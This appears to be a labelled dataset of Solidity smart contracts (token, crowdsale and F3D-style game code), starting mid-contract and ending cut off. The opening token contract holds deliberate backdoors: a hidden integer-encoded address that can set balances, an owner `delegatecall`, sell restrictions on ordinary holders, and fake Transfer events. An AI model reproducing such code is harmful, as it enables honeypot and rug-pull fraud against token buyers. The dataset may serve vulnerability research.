if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,285 |
pragma solidity ^0.4.24;
contract F3Devents {
event Winner(address winner, uint256 pool, address revealer);
event Buy(address buyer, uint256 keys, uint256 cost);
event Sell(address from, uint256 price, uint256 count);
event Bought(address buyer, address from, uint256 amount, uint256 price);
}
contract F3d is F3Devents {
using SafeMath for *;
uint256 public a;
uint256 public b;
uint256 public ta;
uint256 public tb;
uint256 public tc;
uint256 public td;
uint256 public te;
uint256 public wa;
uint256 public wb;
uint256 public wc;
uint256 public wd;
uint256 public we;
uint256 public maxTimeRemain;
uint256 public timeGap;
uint256 public soldKeys;
uint256 public decimals = 1000000;
bool public pause;
address public owner;
address public admin;
PlayerStatus[] public players;
mapping(address => uint256) public playerIds;
mapping(uint256 => Round) public rounds;
mapping(uint256 => mapping (uint256 => PlayerRound)) public playerRoundData;
uint256 public currentRound;
struct PlayerStatus {
address addr;
uint256 wallet;
uint256 affiliate;
uint256 win;
uint256 lrnd;
uint256 referer;
}
struct PlayerRound {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 eth;
uint256 keys;
uint256 mask;
address winner;
uint256 pool;
uint256 endTime;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier whenNotPaused() {
require(!pause);
_;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
function setPause(bool _pause) onlyAdmin public {
pause = _pause;
}
constructor(uint256 _a, uint256 _b,
uint256 _ta, uint256 _tb, uint256 _tc, uint256 _td, uint256 _te,
uint256 _wa, uint256 _wb, uint256 _wc, uint256 _wd, uint256 _we,
uint256 _maxTimeRemain, uint256 _gap, address _owner) public {
a = _a;
b = _b;
ta = _ta;
tb = _tb;
tc = _tc;
td = _td;
te = _te;
wa = _wa;
wb = _wb;
wc = _wc;
wd = _wd;
we = _we;
require(ta.add(tb).add(tc).add(td).add(te) == 1000);
require(wa.add(wb).add(wc).add(wd).add(we) == 1000);
owner = _owner;
currentRound = 1;
rounds[currentRound] = Round(0, 0, 0, owner, 0, block.timestamp.add(_maxTimeRemain));
maxTimeRemain = _maxTimeRemain;
timeGap = _gap;
admin = msg.sender;
players.push(PlayerStatus(
owner,
0,
0,
0,
0,
0));
}
function Price(uint256 n) public view returns (uint256) {
return n.mul(a).add(b);
}
function updatePlayer(uint256 _pID) private {
if(players[_pID].lrnd != 0) {
updateWallet(_pID, players[_pID].lrnd);
}
players[_pID].lrnd = currentRound;
}
function updateWallet(uint256 _pID, uint256 _round) private {
uint256 earnings = calculateMasked(_pID, _round);
if (earnings > 0) {
players[_pID].wallet = earnings.add(players[_pID].wallet);
playerRoundData[_pID][_round].mask = earnings.add(playerRoundData[_pID][_round].mask);
}
}
function profit() public view returns (uint256) {
uint256 id = playerIds[msg.sender];
if (id == 0 && msg.sender != owner) {
return 0;
}
PlayerStatus memory player = players[id];
return player.wallet.add(player.affiliate).add(player.win).add(calculateMasked(id, player.lrnd));
}
function calculateMasked(uint256 _pID, uint256 _round) private view returns (uint256) {
PlayerRound memory roundData = playerRoundData[_pID][_round];
return rounds[_round].mask.mul(roundData.keys).sub(roundData.mask);
}
function registerUserIfNeeded(uint256 ref) public {
if (msg.sender != owner) {
if (playerIds[msg.sender] == 0) {
playerIds[msg.sender] = players.length;
if (ref >= players.length) {
ref = 0;
}
players.push(PlayerStatus(
msg.sender,
0,
0,
0,
0,
ref));
}
}
}
function finalize(uint256 ref) public {
Round storage lastOne = rounds[currentRound];
require(block.timestamp > lastOne.endTime);
registerUserIfNeeded(ref);
currentRound = currentRound.add(1);
Round storage _round = rounds[currentRound];
_round.endTime = block.timestamp.add(maxTimeRemain);
_round.winner = owner;
uint256 money = lastOne.pool;
if (money == 0) {
return;
}
_round.pool = money.mul(wb) / 1000;
uint256 toWinner = money.mul(wa) / 1000;
players[playerIds[lastOne.winner]].win = toWinner.add(players[playerIds[lastOne.winner]].win);
uint256 toRevealer = money.mul(wc) / 1000;
uint256 revealId = playerIds[msg.sender];
if (msg.sender == lastOne.winner) {
revealId = 0;
}
players[revealId].win = players[revealId].win.add(toRevealer);
uint256 toOwner = money.mul(wd) / 1000;
players[0].win = players[0].win.add(toOwner);
uint256 split = money.sub(_round.pool).sub(toWinner).sub(toRevealer).sub(toOwner);
if (lastOne.keys != 0) {
lastOne.mask = lastOne.mask.add(split / lastOne.keys);
players[0].wallet = players[0].wallet.add(split.sub((split/lastOne.keys) * lastOne.keys));
} else {
_round.pool = split.add(_round.pool);
}
}
function price(uint256 key) public view returns (uint256) {
return a.mul(key).add(b);
}
function ethForKey(uint256 _keys) public view returns (uint256) {
Round memory current = rounds[currentRound];
uint256 c_key = (current.keys / decimals);
if (c_key.mul(decimals) != current.keys) {
c_key = c_key.add(1);
}
uint256 _price = price(c_key);
uint256 remainKeys = c_key.mul(decimals).sub(current.keys);
if (remainKeys >= _keys) {
return _price.mul(_keys) / decimals;
}
uint256 costEth = _price.mul(_keys) / decimals;
_keys = _keys.sub(remainKeys);
while(_keys >= decimals) {
c_key = c_key.add(1);
_price = price(c_key);
costEth = costEth.add(_price);
_keys = _keys.sub(decimals);
}
c_key = c_key.add(1);
_price = price(c_key);
costEth = costEth.add(_price.mul(_keys) / decimals);
return costEth;
}
function keys(uint256 _eth) public view returns (uint256) {
Round memory current = rounds[currentRound];
uint256 c_key = (current.keys / decimals).add(1);
uint256 _price = price(c_key);
uint256 remainKeys = c_key.mul(decimals).sub(current.keys);
uint256 remain =remainKeys.mul(_price) / decimals;
if (remain >= _eth) {
return _eth.mul(decimals) / _price;
}
uint256 boughtKeys = remainKeys;
_eth = _eth.sub(remain);
while(true) {
c_key = c_key.add(1);
_price = price(c_key);
if (_price <= _eth) {
boughtKeys = boughtKeys.add(decimals);
_eth = _eth.sub(_price);
} else {
boughtKeys = boughtKeys.add(_eth.mul(decimals) / _price);
break;
}
}
return boughtKeys;
}
function core(uint256 _round, uint256 _pID, uint256 _eth) internal {
Round memory current = rounds[currentRound];
if (playerRoundData[_pID][_round].keys == 0) {
updatePlayer(_pID);
}
if (block.timestamp > current.endTime) {
finalize(players[_pID].referer);
updatePlayer(_pID);
}
Round storage current_now = rounds[currentRound];
uint256 _keys = keys(_eth);
if (_keys <= 0) {
players[_pID].wallet = _eth.add(players[_pID].wallet);
return;
}
if (_keys >= decimals) {
current_now.winner = players[_pID].addr;
current_now.endTime = current_now.endTime.add(timeGap);
if (current_now.endTime.sub(block.timestamp) > maxTimeRemain) {
current_now.endTime = block.timestamp.add(maxTimeRemain);
}
}
uint256 toOwner = _eth.sub(_eth.mul(ta) / 1000);
toOwner = toOwner.sub(_eth.mul(tb) / 1000);
toOwner = toOwner.sub(_eth.mul(tc) / 1000);
toOwner = toOwner.sub(_eth.mul(td) / 1000);
current_now.pool = (_eth.mul(ta) / 1000).add(current_now.pool);
if (current_now.keys == 0) {
toOwner = toOwner.add((_eth.mul(tb) / 1000));
players[0].wallet = toOwner.add(players[0].wallet);
} else {
current_now.mask = current_now.mask.add((_eth.mul(tb) / 1000) / current_now.keys);
uint256 dust = (_eth.mul(tb) / 1000).sub( _eth.mul(tb) / 1000 / current_now.keys * current_now.keys );
players[0].wallet = toOwner.add(dust).add(players[0].wallet);
}
playerRoundData[_pID][currentRound].keys = _keys.add(playerRoundData[_pID][currentRound].keys);
current_now.keys = _keys.add(current_now.keys);
current_now.eth = _eth.add(current_now.eth);
playerRoundData[_pID][currentRound].mask = current_now.mask.mul(_keys).add(playerRoundData[_pID][currentRound].mask);
uint256 referer1 = players[_pID].referer;
uint256 referer2 = players[referer1].referer;
players[referer1].affiliate = (_eth.mul(tc) / 1000).add(players[referer1].affiliate);
players[referer2].affiliate = (_eth.mul(td) / 1000).add(players[referer2].affiliate);
}
function BuyKeys(uint256 ref) payable whenNotPaused public {
registerUserIfNeeded(ref);
core(currentRound, playerIds[msg.sender], msg.value);
}
function ReloadKeys(uint256 value, uint256 ref) whenNotPaused public {
registerUserIfNeeded(ref);
players[playerIds[msg.sender]].wallet = retrieveEarnings().sub(value);
core(currentRound, playerIds[msg.sender], value);
}
function retrieveEarnings() internal returns (uint256) {
uint256 id = playerIds[msg.sender];
updatePlayer(id);
PlayerStatus storage player = players[id];
uint256 earnings = player.wallet.add(player.affiliate).add(player.win);
if (earnings == 0) {
return;
}
player.wallet = 0;
player.affiliate = 0;
player.win = 0;
return earnings;
}
function withdrawal(uint256 ref) whenNotPaused public {
registerUserIfNeeded(ref);
uint256 earnings = retrieveEarnings();
if (earnings == 0) {
return;
}
msg.sender.transfer(earnings);
}
function playerCount() public view returns (uint256) {
return players.length;
}
function register(uint256 ref) public whenNotPaused {
registerUserIfNeeded(ref);
}
function remainTime() public view returns (uint256) {
if (rounds[currentRound].endTime <= block.timestamp) {
return 0;
} else {
return rounds[currentRound].endTime - block.timestamp;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
} | 1 | 5,467 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract COIN3_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "COIN3 TOKEN";
string public symbol = "COS";
uint8 public constant decimals = 6;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 85000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 3,944 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RĪX";
string public constant TOKEN_SYMBOL = "RĪX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xAAaEEE162102491a3a27390277A0a4c61BfB7373;
uint public constant START_TIME = 1532016047;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
constructor() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) public onlyService {
require(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() public view returns (bool) {
return msg.sender == serviceAccount;
}
function check() public payable onlyService notTriggered {
if (internalCheck()) {
emit Triggered(address(this).balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBounds = [uint(0)];
uint[1] memory weiRaisedEndsBounds = [uint(62500000000000000000000)];
uint64[1] memory timeStartsBounds = [uint64(1532016047)];
uint64[1] memory timeEndsBounds = [uint64(1535471995)];
uint[1] memory weiRaisedAndTimeRates = [uint(500)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping (address => bool) private whitelist;
event WhitelistedAddressAdded(address indexed _address);
event WhitelistedAddressRemoved(address indexed _address);
modifier onlyIfWhitelisted(address _buyer) {
require(whitelist[_buyer]);
_;
}
function addAddressToWhitelist(address _address) external onlyOwner {
whitelist[_address] = true;
emit WhitelistedAddressAdded(_address);
}
function addAddressesToWhitelist(address[] _addresses) external onlyOwner {
